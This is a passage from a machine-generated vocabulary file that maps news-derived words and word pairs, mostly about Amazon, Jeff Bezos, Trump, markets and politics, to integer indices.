222313,\n  \"insight increasing\": 222314,\n  \"death girl\": 222315,\n  \"rosenworcel\": 222316,\n  \"commerce new\": 222317,\n  \"reflected\": 222318,\n  \"russia collusion\": 222319,\n  \"delivery customers\": 222320,\n  \"know fully\": 222321,\n  \"immature\": 222322,\n  \"worlds richest\": 222323,\n  \"products distributing\": 222324,\n  \"rahm\": 222325,\n  \"sarcastically referred\": 222326,\n  \"million direct\": 222327,\n  \"beat estimates\": 222328,\n  \"parody halloween\": 222329,\n  \"afp\": 222330,\n  \"tariffs alcoa\": 222331,\n  \"overhaul lowered\": 222332,\n  \"unattainable picture\": 222333,\n  \"flight later\": 222334,\n  \"arlington virginia\": 222335,\n  \"risks associated\": 222336,\n  \"sorting\": 222337,\n  \"internet age\": 222338,\n  \"provide facial\": 222339,\n  \"trumpy\": 222340,\n  \"m81dr1kbgl bob\": 222341,\n  \"game warren\": 222342,\n  \"streaming helping\": 222343,\n  \"best work\": 222344,\n  \"disputes bite\": 222345,\n  \"abuelas\": 222346,\n  \"concentrate\": 222347,\n  \"caption hide\": 222348,\n  \"political opponents\": 222349,\n  \"profit\": 222350,\n  \"endless grift\": 222351,\n  \"v1\": 222352,\n  \"endeared\": 222353,\n  \"amazon makes\": 222354,\n  \"television network\": 222355,\n  \"clients track\": 222356,\n  \"headquarters sites\": 222357,\n  \"individual cnn\": 222358,\n  \"underestimate kroger\": 222359,\n  \"federal mechanical\": 222360,\n  \"book says\": 222361,\n  \"travelersa\": 222362,\n  \"fiercest opponents\": 222363,\n  \"atwater newly\": 222364,\n  \"profitthe usps\": 222365,\n  \"symbolism\": 222366,\n  \"motives citing\": 222367,\n  \"buffett dumps\": 222368,\n  \"mushrooming\": 222369,\n  \"membership benefits\": 222370,\n  \"result making\": 222371,\n  \"clog sf\": 222372,\n  \"defraud doctors\": 222373,\n  \"multiyear\": 222374,\n  \"savage critic\": 222375,\n  \"sheer concern\": 222376,\n  \"snl posits\": 222377,\n  \"senior macro\": 222378,\n  \"insensitive costumes\": 222379,\n  \"knowing exactly\": 222380,\n  \"planned hq2\": 222381,\n  \"r4ee var\": 222382,\n  \"raw\": 222383,\n  \"build helicopter\": 222384,\n  \"eu\": 222385,\n  \"243 pounds\": 222386,\n  \"deborah eisenberg\": 222387,\n  \"reposted\": 222388,\n  \"service spokesman\": 222389,\n  \"superstorm\": 222390,\n  \"j9x\": 222391,\n  \"alleged russian\": 222392,\n  \"friends enquirer\": 222393,\n  \"abc venezuela\": 222394,\n  \"oligarch jeffbezos\": 222395,\n  \"mocking tweets\": 222396,\n  \"phone hacked\": 222397,\n  \"year bought\": 222398,\n  \"turtle camera\": 222399,\n  \"man named\": 222400,\n  \"epic battle\": 222401,\n  \"spotted zebra\": 222402,\n  \"gonna stick\": 222403,\n  \"carrier partners\": 222404,\n  \"immediate role\": 222405,\n  \"tracked\": 222406,\n  \"need snap\": 222407,\n  \"disasters 2018\": 222408,\n  \"doubled wall\": 222409,\n  \"autotrader dealer\": 222410,\n  \"portfolio karp\": 222411,\n  \"global populist\": 222412,\n  \"manhunt dna\": 222413,\n  \"disagreed internally\": 222414,\n  \"extort\": 222415,\n  \"key regulatory\": 222416,\n  \"federal tax\": 222417,\n  \"hurt agricultural\": 222418,\n  \"wrote daniel\": 222419,\n  \"uber geekwire\": 222420,\n  \"greenfield tweeted\": 222421,\n  \"ryanpoe read\": 222422,\n  \"bit anticlimactic\": 222423,\n  \"bad mamma\": 222424,\n  \"3m month\": 222425,\n  \"domo\": 222426,\n  \"upcoming economic\": 222427,\n  \"seed money\": 222428,\n  \"business buying\": 222429,\n  \"reportedly chasing\": 222430,\n  \"thrones videocmsurl\": 222431,\n  \"trust principles\": 222432,\n  \"big global\": 222433,\n  \"corporations paid\": 222434,\n  \"serve alongside\": 222435,\n  \"cmcsa nyse\": 222436,\n  \"publicly listed\": 222437,\n  \"sure google\": 222438,\n  \"minneapolis\": 222439,\n  \"112 points\": 222440,\n  \"economy improving\": 222441,\n  \"major rift\": 222442,\n  \"atlantic robinson\": 222443,\n  \"mutant ninja\": 222444,\n  \"amazons hq2\": 222445,\n  \"indiana frederick\": 222446,\n  \"news author\": 222447,\n  \"hand given\": 222448,\n  \"deal bezos\": 222449,\n  \"apple valuation\": 222450,\n  \"tagged demographics\": 222451,\n  \"drift\": 222452,\n  \"flood 2018\": 222453,\n  \"slowdown mount\": 222454,\n  \"exporting\": 222455,\n  \"barnes noble\": 222456,\n  \"wages trump\": 222457,\n  \"books feast\": 222458,\n  \"bigger ticket\": 222459,\n  \"press georgetown\": 222460,\n  \"manama\": 222461,\n  \"cut european\": 222462,\n  \"critics hillicon\": 222463,\n  \"safety partner\": 222464,\n  \"shielded\": 222465,\n  \"moessinger robinson\": 222466,\n  \"robust response\": 222467,\n  \"event drew\": 222468,\n  \"rappler news\": 222469,\n  \"amazon 4th\": 222470,\n  \"target susquehanna\": 222471,\n  \"plurality evidence\": 222472,\n  \"territory amazon\": 222473,\n  \"vegas raiders\": 222474,\n  \"trumps scuttle\": 222475,\n  \"humans know\": 222476,\n  \"lasts forever\": 222477,\n  \"inflatable dinghy\": 222478,\n  \"killing obamacare\": 222479,\n  \"woodward checking\": 222480,\n  \"militia fighters\": 222481,\n  \"years later_30\": 222482,\n  \"replacing andrew\": 222483,\n  \"environment makes\": 222484,\n  \"boss told\": 222485,\n  \"surtax\": 222486,\n  \"higher rate\": 222487,\n  \"published tweet\": 222488,\n  \"government shutdown\": 222489,\n  \"build facility\": 222490,\n  \"quietly dating\": 222491,\n  \"schreurs soybean\": 222492,\n  \"reported solid\": 222493,\n  \"council director\": 222494,\n  \"verge colin\": 222495,\n  \"lawsuit succeeds\": 222496,\n  \"right roles\": 222497,\n  \"started sending\": 222498,\n  \"win recount\": 222499,\n  \"month 127\": 222500,\n  \"electronic arts\": 222501,\n  \"concluded goldberg\": 222502,\n  \"governor cuomo\": 222503,\n  \"inc_feature_image_override\": 222504,\n  \"pro works\": 222505,\n  \"product seo\": 222506,\n  \"acre ranch\": 222507,\n  \"accouterments admittedly\": 222508,\n  \"keeping viewers\": 222509,\n  \"facebook share\": 222510,\n  \"owners build\": 222511,\n  \"called commerce\": 222512,\n  \"casper\": 222513,\n  \"chose tennessee\": 222514,\n  \"proceedings resulted\": 222515,\n  \"recipient lobbyists\": 222516,\n  \"treasury auctions\": 222517,\n  \"mcnally\": 222518,\n  \"revive eu\": 222519,\n  \"reserved disclaimer\": 222520,\n  \"global attention\": 222521,\n  \"rodale\": 222522,\n  \"paul murphy\": 222523,\n  \"insatiable\": 222524,\n  \"soros dropped\": 222525,\n  \"fake accounts\": 222526,\n  \"narrow segment\": 222527,\n  \"torres agriculture\": 222528,\n  \"testifies\": 222529,\n  \"houses amazon\": 222530,\n  \"lowlifes\": 222531,\n  \"justify valuation\": 222532,\n  \"divorce recently\": 222533,\n  \"performance partly\": 222534,\n  \"sidewalk labs\": 222535,\n  \"insider australia\": 222536,\n  \"embolden residents\": 222537,\n  \"fau\": 222538,\n  \"cord cutting\": 222539,\n  \"quietly announces\": 222540,\n  \"scaling\": 222541,\n  \"framewidth 100\": 222542,\n  \"tooembarrassed recode\": 222543,\n  \"taxincentives\": 222544,\n  \"especially urged\": 222545,\n  \"company image\": 222546,\n  \"package brian\": 222547,\n  \"increase military\": 222548,\n  \"investing advisor\": 222549,\n  \"nissim\": 222550,\n  \"topossibly invoke\": 222551,\n  \"firm reiterated\": 222552,\n  \"uncover talent\": 222553,\n  \"late career\": 222554,\n  \"outside world\": 222555,\n  \"hampshire\": 222556,\n  \"255 million\": 222557,\n  \"212 000\": 222558,\n  \"story intel\": 222559,\n  \"inauguration crowd\": 222560,\n  \"smart\": 222561,\n  \"landed movie\": 222562,\n  \"analysts remain\": 222563,\n  \"making good\": 222564,\n  \"tesla\": 222565,\n  \"hit 3000\": 222566,\n  \"lawyer michal\": 222567,\n  \"safeguarded\": 222568,\n  \"gianaris hosted\": 222569,\n  \"kreme today\": 222570,\n  \"blamed suu\": 222571,\n  \"offered shirts\": 222572,\n  \"value proposition\": 222573,\n  \"hostile tweets\": 222574,\n  \"year peter\": 222575,\n  \"gay\": 222576,\n  \"company engages\": 222577,\n  \"warren file\": 222578,\n  \"little competition\": 222579,\n  \"soldiers stationed\": 222580,\n  \"country sign\": 222581,\n  \"brands european\": 222582,\n  \"firm tens\": 222583,\n  \"pickpocket\": 222584,\n  \"conocophillips\": 222585,\n  \"goods fulfillment\": 222586,\n  \"built 800\": 222587,\n  \"guiana\": 222588,\n  \"apparently fist\": 222589,\n  \"know thank\": 222590,\n  \"bids 234\": 222591,\n  \"owns zappos\": 222592,\n  \"plan\": 222593,\n  \"horn nyt\": 222594,\n  \"elections republicans\": 222595,\n  \"space just\": 222596,\n  \"russia vladimir\": 222597,\n  \"affected communities\": 222598,\n  \"braun reported\": 222599,\n  \"accessible healthcare\": 222600,\n  \"mississippi rally\": 222601,\n  \"beguiled\": 222602,\n  \"tower project\": 222603,\n  \"cites\": 222604,\n  \"maryland independent\": 222605,\n  \"health says\": 222606,\n  \"crc deputy\": 222607,\n  \"2008 housing\": 222608,\n  \"ideally\": 222609,\n  \"murray wa\": 222610,\n  \"making calculated\": 222611,\n  \"competition remit\": 222612,\n  \"led republicans\": 222613,\n  \"declaration posted\": 222614,\n  \"analysis shows\": 222615,\n  \"virginia fulfillment\": 222616,\n  \"particularly vulnerable\": 222617,\n  \"street white\": 222618,\n  \"1700et\": 222619,\n  \"wasn making\": 222620,\n  \"hard time\": 222621,\n  \"steyer posts\": 222622,\n  \"bought revealing\": 222623,\n  \"us1 800\": 222624,\n  \"problem says\": 222625,\n  \"iankullgren\": 222626,\n  \"doorstep\": 222627,\n  \"picks prime\": 222628,\n  \"prompted coalition\": 222629,\n  \"summit australia\": 222630,\n  \"virtually conservatives\": 222631,\n  \"trump destined\": 222632,\n  \"quietly built\": 222633,\n  \"bureaucrat\": 222634,\n  \"order\": 222635,\n  \"topping trillion\": 222636,\n  \"calling bezos\": 222637,\n  \"jaffe\": 222638,\n  \"curated jonerpnewsfeed\": 222639,\n  \"million obama\": 222640,\n  \"farmed\": 222641,\n  \"regional management\": 222642,\n  \"iconic brands\": 222643,\n  \"personal gain\": 222644,\n  \"trump effect\": 222645,\n  \"transition seeking\": 222646,\n  \"particularly rates\": 222647,\n  \"month crusader\": 222648,\n  \"preaching\": 222649,\n  \"chito\": 222650,\n  \"currentvideocollection getnextvideoindex\": 222651,\n  \"png\": 222652,\n  \"techs app\": 222653,\n  \"peter navarro\": 222654,\n  \"pgtype\": 222655,\n  \"sworn enemy\": 222656,\n  \"president bolduan\": 222657,\n  \"unintended\": 222658,\n  \"ferdinando\": 222659,\n  \"morning bezos\": 222660,\n  \"interviewed\": 222661,\n  \"geekwire frank\": 222662,\n  \"885 words\": 222663,\n  \"criticism including\": 222664,\n  \"timetable\": 222665,\n  \"school hires\": 222666,\n  \"bezos participate\": 222667,\n  \"130k\": 222668,\n  \"contemplates\": 222669,\n  \"writer mike\": 222670,\n  \"ro khannaelection\": 222671,\n  \"clip showing\": 222672,\n  \"fart\": 222673,\n  \"redirected\": 222674,\n  \"amzn callahan\": 222675,\n  \"plaats\": 222676,\n  \"photo saudi\": 222677,\n  \"talks financial\": 222678,\n  \"trying alipay\": 222679,\n  \"told mt\": 222680,\n  \"state courts\": 222681,\n  \"folly\": 222682,\n  \"way think\": 222683,\n  \"comedic actor\": 222684,\n  \"chair following\": 222685,\n  \"incorporated otcmkts\": 222686,\n  \"lightbot programming\": 222687,\n  \"rude letters\": 222688,\n  \"week singer\": 222689,\n  \"service charge\": 222690,\n  \"steven giovangelo\": 222691,\n  \"mind set\": 222692,\n  \"kilometer\": 222693,\n  \"channeling\": 222694,\n  \"appease corn\": 222695,\n  \"app memorizes\": 222696,\n  \"rand\": 222697,\n  \"homes built\": 222698,\n  \"want palmer\": 222699,\n  \"showdown new\": 222700,\n  \"multicarrier strategy\": 222701,\n  \"attend jeff\": 222702,\n  \"contf\": 222703,\n  \"hacked baby\": 222704,\n  \"claimed falsely\": 222705,\n  \"retirement thank\": 222706,\n  \"trump instruct\": 222707,\n  \"original\": 222708,\n  \"amazon platforms\": 222709,\n  \"wjlpcbis8u deplorable\": 222710,\n  \"fdic\": 222711,\n  \"bowl mark\": 222712,\n  \"videocardcontents showurl\": 222713,\n  \"seller margins\": 222714,\n  \"california protests\": 222715,\n  \"backing gop\": 222716,\n  \"fair value\": 222717,\n  \"press continue\": 222718,\n  \"popular open\": 222719,\n  \"fostering ad\": 222720,\n  \"riotous\": 222721,\n  \"margin reversing\": 222722,\n  \"straight\": 222723,\n  \"amazon scrapped\": 222724,\n  \"corruption tossed\": 222725,\n  \"seen racy\": 222726,\n  \"inaccurate tweets\": 222727,\n  \"binetti noted\": 222728,\n  \"discounts right\": 222729,\n  \"state hillary\": 222730,\n  \"implausible increase\": 222731,\n  \"abortion alves\": 222732,\n  \"committees set\": 222733,\n  \"beauty talk\": 222734,\n  \"tue\": 222735,\n  \"products makers\": 222736,\n  \"img_custom_credit null\": 222737,\n  \"worldwide lizzie\": 222738,\n  \"gerry connolly\": 222739,\n  \"misguided followers\": 222740,\n  \"year battle\": 222741,\n  \"cola energy\": 222742,\n  \"business sources\": 222743,\n  \"commerce unit\": 222744,\n  \"schedule brennan\": 222745,\n  \"city geekwire\": 222746,\n  \"agarwal\": 222747,\n  \"wrinkles read\": 222748,\n  \"turkey lira\": 222749,\n  \"skorea\": 222750,\n  \"referencing separate\": 222751,\n  \"sales forecast\": 222752,\n  \"att\": 222753,\n  \"cargo market\": 222754,\n  \"nationalist drove\": 222755,\n  \"government keeping\": 222756,\n  \"history ali\": 222757,\n  \"exchange advice\": 222758,\n  \"nerdwallet thanks\": 222759,\n  \"row filled\": 222760,\n  \"fang amzn\": 222761,\n  \"biotechnology ceo\": 222762,\n  \"stream minding\": 222763,\n  \"financial statement\": 222764,\n  \"big sick\": 222765,\n  \"trillion told\": 222766,\n  \"date map\": 222767,\n  \"business centers\": 222768,\n  \"company alphabet\": 222769,\n  \"baek\": 222770,\n  \"legislates\": 222771,\n  \"8217 8220\": 222772,\n  \"person standing\": 222773,\n  \"patent fight\": 222774,\n  \"change people\": 222775,\n  \"subcontracting\": 222776,\n  \"arena health\": 222777,\n  \"political influences\": 222778,\n  \"howes percival\": 222779,\n  \"pleaded anew\": 222780,\n  \"oracle favor\": 222781,\n  \"retirement generous\": 222782,\n  \"tabloid threat\": 222783,\n  \"recruit lester\": 222784,\n  \"simmons leadership\": 222785,\n  \"crispy\": 222786,\n  \"county health\": 222787,\n  \"sessions talks\": 222788,\n  \"taylor soper\": 222789,\n  \"says chose\": 222790,\n  \"paid firms\": 222791,\n  \"maestro\": 222792,\n  \"1918 small\": 222793,\n  \"fewer workers\": 222794,\n  \"showurl\": 222795,\n  \"decent cast\": 222796,\n  \"trust clinches\": 222797,\n  \"stumbling blocks\": 222798,\n  \"scholarship mba\": 222799,\n  \"noc\": 222800,\n  \"national rape\": 222801,\n  \"helsinki putin\": 222802,\n  \"568 852\": 222803,\n  \"grow health\": 222804,\n  \"published books\": 222805,\n  \"lewinksy currently\": 222806,\n  \"pelosi says\": 222807,\n  \"club dinner\": 222808,\n  \"media nsa\": 222809,\n  \"channelarray\": 222810,\n  \"higher accuracy\": 222811,\n  \"assembled industry\": 222812,\n  \"product launches\": 222813,\n  \"companies achieve\": 222814,\n  \"item according\": 222815,\n  \"indiatimes ninemsn\": 222816,\n  \"ryan cast\": 222817,\n  \"research evidence\": 222818,\n  \"1750 bought\": 222819,\n  \"muteplayerenabled cnn\": 222820,\n  \"matthew dresden\": 222821,\n  \"old exec\": 222822,\n  \"clinton refused\": 222823,\n  \"quarter expenditures\": 222824,\n  \"70s\": 222825,\n  \"giant tencent\": 222826,\n  \"coming days\": 222827,\n  \"shoppers feat\": 222828,\n  \"adeft capital\": 222829,\n  \"basketball tournament\": 222830,\n  \"psychological family\": 222831,\n  \"978\": 222832,\n  \"journal broke\": 222833,\n  \"bu\": 222834,\n  \"post announces\": 222835,\n  \"dominance alleging\": 222836,\n  \"companies say\": 222837,\n  \"technological innovation\": 222838,\n  \"recently google\": 222839,\n  \"paid race\": 222840,\n  \"approved trademarks\": 222841,\n  \"bore house\": 222842,\n  \"shares soar\": 222843,\n  \"2020 spain\": 222844,\n  \"1021380986452545537 exploring\": 222845,\n  \"wealthy real\": 222846,\n  \"hostile foreign\": 222847,\n  \"republican lawmaker\": 222848,\n  \"robbinsville\": 222849,\n  \"profit halliburton\": 222850,\n  \"technology firms\": 222851,\n  \"swelling carbon\": 222852,\n  \"early years\": 222853,\n  \"giants won\": 222854,\n  \"weaver staff\": 222855,\n  \"2016 david\": 222856,\n  \"van jones\": 222857,\n  \"theoretically help\": 222858,\n  \"hands vanity\": 222859,\n  \"layery\": 222860,\n  \"thefbi\": 222861,\n  \"wedding\": 222862,\n  \"shoes racked\": 222863,\n  \"blowback internally\": 222864,\n  \"nuclear arms\": 222865,\n  \"partisan reasons\": 222866,\n  \"federal aviation\": 222867,\n  \"wringing\": 222868,\n  \"justin bieber\": 222869,\n  \"classify text\": 222870,\n  \"discover colloidal\": 222871,\n  \"select markets\": 222872,\n  \"agreement lasts\": 222873,\n  \"shoppers took\": 222874,\n  \"americans expect\": 222875,\n  \"cms inc228693\": 222876,\n  \"pump 350\": 222877,\n  \"925 000\": 222878,\n  \"tempered think\": 222879,\n  \"disclosing bezos\": 222880,\n  \"imessage\": 222881,\n  \"kyle swenson\": 222882,\n  \"small angry\": 222883,\n  \"065 shares\": 222884,\n  \"file criminal\": 222885,\n  \"journal recently\": 222886,\n  \"property values\": 222887,\n  \"run authority\": 222888,\n  \"hysterical screaming\": 222889,\n  \"nyc deal\": 222890,\n  \"populations refugee\": 222891,\n  \"wing government\": 222892,\n  \"rochfort rounded\": 222893,\n  \"deal replacing\": 222894,\n  \"documented earlier\": 222895,\n  \"insider earlier\": 222896,\n  \"positive rating\": 222897,\n  \"including chief\": 222898,\n  \"syria quickly\": 222899,\n  \"modifications\": 222900,\n  \"commercial advantage\": 222901,\n  \"waist using\": 222902,\n  \"deportation agenda\": 222903,\n  \"warner subsidiary\": 222904,\n  \"0943et copyright\": 222905,\n  \"xpo capabilities\": 222906,\n  \"flake want\": 222907,\n  \"ongoing talks\": 222908,\n  \"inc_show_feature_imageflag true\": 222909,\n  \"position\": 222910,\n  \"sheer\": 222911,\n  \"402nd infantry\": 222912,\n  \"entry nearly\": 222913,\n  \"venom starring\": 222914,\n  \"shaub wrote\": 222915,\n  \"car radio\": 222916,\n  \"devices carrying\": 222917,\n  \"research director\": 222918,\n  \"mma\": 222919,\n  \"officiated\": 222920,\n  \"notorious border\": 222921,\n  \"entourage feel\": 222922,\n  \"year eu\": 222923,\n  \"organizers\": 222924,\n  \"airlines according\": 222925,\n  \"cause ripple\": 222926,\n  \"story trade\": 222927,\n  \"future homes\": 222928,\n  \"remains standing\": 222929,\n  \"guidance girls\": 222930,\n  \"veteran mayor\": 222931,\n  \"aapl rise\": 222932,\n  \"real economic\": 222933,\n  \"summer working\": 222934,\n  \"shares investors\": 222935,\n  \"unexpected gain\": 222936,\n  \"growth better\": 222937,\n  \"yen million\": 222938,\n  \"flavors based\": 222939,\n  \"barnett chairman\": 222940,\n  \"provide safe\": 222941,\n  \"asleep forever\": 222942,\n  \"wooed\": 222943,\n  \"life mashup\": 222944,\n  \"important according\": 222945,\n  \"people fly\": 222946,\n  \"assault resulting\": 222947,\n  \"skeptics worried\": 222948,\n  \"plane crashed\": 222949,\n  \"sufficient oversight\": 222950,\n  \"787 circling\": 222951,\n  \"crowd gathered\": 222952,\n  \"political make\": 222953,\n  \"revenue generator\": 222954,\n  \"billionaire long\": 222955,\n  \"rules companies\": 222956,\n  \"holistic solution\": 222957,\n  \"growth key\": 222958,\n  \"butts rocco\": 222959,\n  \"virginia magazine\": 222960,\n  \"analysts speculate\": 222961,\n  \"dwayne\": 222962,\n  \"converses\": 222963,\n  \"corp intc\": 222964,\n  \"asked postmaster\": 222965,\n  \"bond singer\": 222966,\n  \"ramesh ponnuru\": 222967,\n  \"lawsuit worked\": 222968,\n  \"margin impact\": 222969,\n  \"toni\": 222970,\n  \"sabrina premieres\": 222971,\n  \"oversight hearings\": 222972,\n  \"mercosur\": 222973,\n  \"clothes dog\": 222974,\n  \"2020 recently\": 222975,\n  \"including extended\": 222976,\n  \"imitations selling\": 222977,\n  \"won reopen\": 222978,\n  \"sen mark\": 222979,\n  \"relief coinciding\": 222980,\n  \"disseminating platforms\": 222981,\n  \"sam nunberg\": 222982,\n  \"lapidus\": 222983,\n  \"unceasing stream\": 222984,\n  \"fears amazon\": 222985,\n  \"million things\": 222986,\n  \"totalitarian\": 222987,\n  \"version treasury\": 222988,\n  \"deadlocked\": 222989,\n  \"fbi edgar\": 222990,\n  \"mockingbird dale\": 222991,\n  \"schultz explains\": 222992,\n  \"policy according\": 222993,\n  \"colour\": 222994,\n  \"nation nafta\": 222995,\n  \"press attention\": 222996,\n  \"cost conundrum\": 222997,\n  \"incendiary tweets\": 222998,\n  \"risk president\": 222999,\n  \"specialty drug\": 223000,\n  \"contents prepared\": 223001,\n  \"understates\": 223002,\n  \"year reuters\": 223003,\n  \"performing tech\": 223004,\n  \"tech roles\": 223005,\n  \"deloitte\": 223006,\n  \"daisy\": 223007,\n  \"wireless equivalents\": 223008,\n  \"libel\": 223009,\n  \"abroad new\": 223010,\n  \"brett arends\": 223011,\n  \"mudede\": 223012,\n  \"cash laying\": 223013,\n  \"electoral success\": 223014,\n  \"amazon split\": 223015,\n  \"740\": 223016,\n  \"important economy\": 223017,\n  \"2017 bolsonaro\": 223018,\n  \"bypass city\": 223019,\n  \"stocks says\": 223020,\n  \"key political\": 223021,\n  \"white shark\": 223022,\n  \"whitaker left\": 223023,\n  \"taken billions\": 223024,\n  \"heinzls model\": 223025,\n  \"untied\": 223026,\n  \"defence services\": 223027,\n  \"trump heard\": 223028,\n  \"apple announced\": 223029,\n  \"protectionism\": 223030,\n  \"quarter valicenti\": 223031,\n  \"idiot woodward\": 223032,\n  \"driving force\": 223033,\n  \"cross partisan\": 223034,\n  \"contributions leapt\": 223035,\n  \"supplying s\\u00e3o\": 223036,\n  \"institutions companies\": 223037,\n  \"officials turned\": 223038,\n  \"electifying\": 223039,\n  \"deal weather\": 223040,\n  \"felony domestic\": 223041,\n  \"cramping\": 223042,\n  \"house utilizing\": 223043,\n  \"service station\": 223044,\n  \"brazilian minister\": 223045,\n  \"amazon literally\": 223046,\n  \"toca lab\": 223047,\n  \"customary\": 223048,\n  \"post questioning\": 223049,\n  \"code names\": 223050,\n  \"tg387\": 223051,\n  \"aspen security\": 223052,\n  \"freshman delegate\": 223053,\n  \"subsidizing multi\": 223054,\n  \"remote\": 223055,\n  \"markit\": 223056,\n  \"dinner stars\": 223057,\n  \"officials organized\": 223058,\n  \"cohen trump\": 223059,\n  \"2033 overall\": 223060,\n  \"creating policies\": 223061,\n  \"national holiday\": 223062,\n  \"bayside fresh\": 223063,\n  \"bloomberg rounded\": 223064,\n  \"dumps new\": 223065,\n  \"biggest companies\": 223066,\n  \"party leadership\": 223067,\n  \"ibd newsletters\": 223068,\n  \"related finally\": 223069,\n  \"small stable\": 223070,\n  \"terrified\": 223071,\n  \"privacy laws\": 223072,\n  \"amazon maryland\": 223073,\n  \"preventing customers\": 223074,\n  \"hotel hideaways\": 223075,\n  \"stapleton apple\": 223076,\n  \"reportedly expanded\": 223077,\n  \"dishwasher safe\": 223078,\n  \"discredit\": 223079,\n  \"post editors\": 223080,\n  \"foxconn term\": 223081,\n  \"jobs jobs\": 223082,\n  \"ami actions\": 223083,\n  \"satanic\": 223084,\n  \"supplies additionally\": 223085,\n  \"lowered guidance\": 223086,\n  \"headquarterless 8221\": 223087,\n  \"berkrot\": 223088,\n  \"scale jeff\": 223089,\n  \"eu japan\": 223090,\n  \"experience suicidal\": 223091,\n  \"politicians play\": 223092,\n  \"fervently hopes\": 223093,\n  \"read sack\": 223094,\n  \"unlikely role\": 223095,\n  \"help don\": 223096,\n  \"today sessions\": 223097,\n  \"workers inside\": 223098,\n  \"reaching low\": 223099,\n  \"testimonial amazon\": 223100,\n  \"i6\": 223101,\n  \"teenagers posing\": 223102,\n  \"trump hacked\": 223103,\n  \"51554473329 citing\": 223104,\n  \"possibly later\": 223105,\n  \"paper vc\": 223106,\n  \"disagree parents\": 223107,\n  \"commercializing\": 223108,\n  \"hover\": 223109,\n  \"qualifications\": 223110,\n  \"vendors cross\": 223111,\n  \"critic named\": 223112,\n  \"obrador wrote\": 223113,\n  \"tabloid story\": 223114,\n  \"chef flynn\": 223115,\n  \"analyzing visual\": 223116,\n  \"new board\": 223117,\n  \"wildfires devastate\": 223118,\n  \"uses complex\": 223119,\n  \"manhattan trump\": 223120,\n  \"amazon reflects\": 223121,\n  \"000 shares\": 223122,\n  \"partial building\": 223123,\n  \"manageable items\": 223124,\n  \"editorial brass\": 223125,\n  \"making bezos\": 223126,\n  \"access related\": 223127,\n  \"morning markets\": 223128,\n  \"media push\": 223129,\n  \"institute new\": 223130,\n  \"sent encana\": 223131,\n  \"self esteem\": 223132,\n  \"hooked\": 223133,\n  \"1965\": 223134,\n  \"heavy discounts\": 223135,\n  \"seemingly alluding\": 223136,\n  \"bargain prices\": 223137,\n  \"lands protects\": 223138,\n  \"discount 2018\": 223139,\n  \"companies right\": 223140,\n  \"gas masks\": 223141,\n  \"exploratory work\": 223142,\n  \"make working\": 223143,\n  \"mussel population\": 223144,\n  \"1019644666608803840\": 223145,\n  \"articles 2018\": 223146,\n  \"win shocking\": 223147,\n  \"buy smartphone\": 223148,\n  \"iran matteo\": 223149,\n  \"raises questions\": 223150,\n  \"benito mussolini\": 223151,\n  \"261\": 223152,\n  \"firing\": 223153,\n  \"mayor michael\": 223154,\n  \"ritholtz republicans\": 223155,\n  \"york waves\": 223156,\n  \"inclination\": 223157,\n  \"goods manufacturers\": 223158,\n  \"detergent\": 223159,\n  \"senior health\": 223160,\n  \"industry average\": 223161,\n  \"dollar defense\": 223162,\n  \"board commission\": 223163,\n  \"tesla china\": 223164,\n  \"commercial really\": 223165,\n  \"doug melamed\": 223166,\n  \"desperate migrants\": 223167,\n  \"broadband\": 223168,\n  \"identical shirts\": 223169,\n  \"shares briefly\": 223170,\n  \"2018 usually\": 223171,\n  \"beautiful music\": 223172,\n  \"contract uber\": 223173,\n  \"bound mammals\": 223174,\n  \"geopolitics make\": 223175,\n  \"retire millionaire\": 223176,\n  \"news prioritized\": 223177,\n  \"pictures don\": 223178,\n  \"ga\": 223179,\n  \"forested areas\": 223180,\n  \"flotilla\": 223181,\n  \"disarmament malaysian\": 223182,\n  \"letters theatlantic\": 223183,\n  \"commit crimes\": 223184,\n  \"vn 050\": 223185,\n  \"pushed postal\": 223186,\n  \"minter\": 223187,\n  \"company outlining\": 223188,\n  \"won shop\": 223189,\n  \"political apparel\": 223190,\n  \"bezos matter\": 223191,\n  \"haspel\": 223192,\n  \"171 amazon\": 223193,\n  \"cnr\": 223194,\n  \"tariffs amazon\": 223195,\n  \"organised\": 223196,\n  \"certainly elevate\": 223197,\n  \"hijacking empire\": 223198,\n  \"day basis\": 223199,\n  \"act stephen\": 223200,\n  \"z4a 2139393959\": 223201,\n  \"information pointing\": 223202,\n  \"student suing\": 223203,\n  \"emails allegedly\": 223204,\n  \"hype overload\": 223205,\n  \"marshalls tj\": 223206,\n  \"electronic lcd\": 223207,\n  \"degree heat\": 223208,\n  \"proposing sweeping\": 223209,\n  \"spokesperson elissa\": 223210,\n  \"amazon claimed\": 223211,\n  \"eliminates bonuses\": 223212,\n  \"available products\": 223213,\n  \"flash point\": 223214,\n  \"later reversed\": 223215,\n  \"ago fun\": 223216,\n  \"oneplus officially\": 223217,\n  \"michael hartnett\": 223218,\n  \"prevent online\": 223219,\n  \"putin invites\": 223220,\n  \"prison sentences\": 223221,\n  \"provide plethora\": 223222,\n  \"public comments\": 223223,\n  \"surprisingly small\": 223224,\n  \"drive segment\": 223225,\n  \"conservative lightfoot\": 223226,\n  \"dead elite\": 223227,\n  \"crashes just\": 223228,\n  \"conspiratorial person\": 223229,\n  \"tory read\": 223230,\n  \"record yields\": 223231,\n  \"embargo\": 223232,\n  \"good speech\": 223233,\n  \"products americans\": 223234,\n  \"rooney\": 223235,\n  \"chiefs brennan\": 223236,\n  \"rep jaime\": 223237,\n  \"crucial fact\": 223238,\n  \"sector valued\": 223239,\n  \"estranged couple\": 223240,\n  \"114\": 223241,\n  \"firmament\": 223242,\n  \"fotolia\": 223243,\n  \"rohrwacher\": 223244,\n  \"concerns today\": 223245,\n  \"vaccines amazon\": 223246,\n  \"alleged discriminatory\": 223247,\n  \"exaggeration\": 223248,\n  \"cortez celebrates\": 223249,\n  \"iranians chanted\": 223250,\n  \"robert reich\": 223251,\n  \"financialization\": 223252,\n  \"amazon executives\": 223253,\n  \"kun\": 223254,\n  \"amazon tld\": 223255,\n  \"administration effort\": 223256,\n  \"significantly harms\": 223257,\n  \"theoretical\": 223258,\n  \"rising star\": 223259,\n  \"increases specifically\": 223260,\n  \"king street\": 223261,\n  \"omb rung\": 223262,\n  \"etfs facebook\": 223263,\n  \"pay increase\": 223264,\n  \"1p seller\": 223265,\n  \"macy post\": 223266,\n  \"billion nz\": 223267,\n  \"victory embed\": 223268,\n  \"post relationship\": 223269,\n  \"dont\": 223270,\n  \"tech innovations\": 223271,\n  \"key thing\": 223272,\n  \"total confidence\": 223273,\n  \"lower taxed\": 223274,\n  \"unless officials\": 223275,\n  \"primary nemesis\": 223276,\n  \"wouldn recoup\": 223277,\n  \"faces lengthy\": 223278,\n  \"booted\": 223279,\n  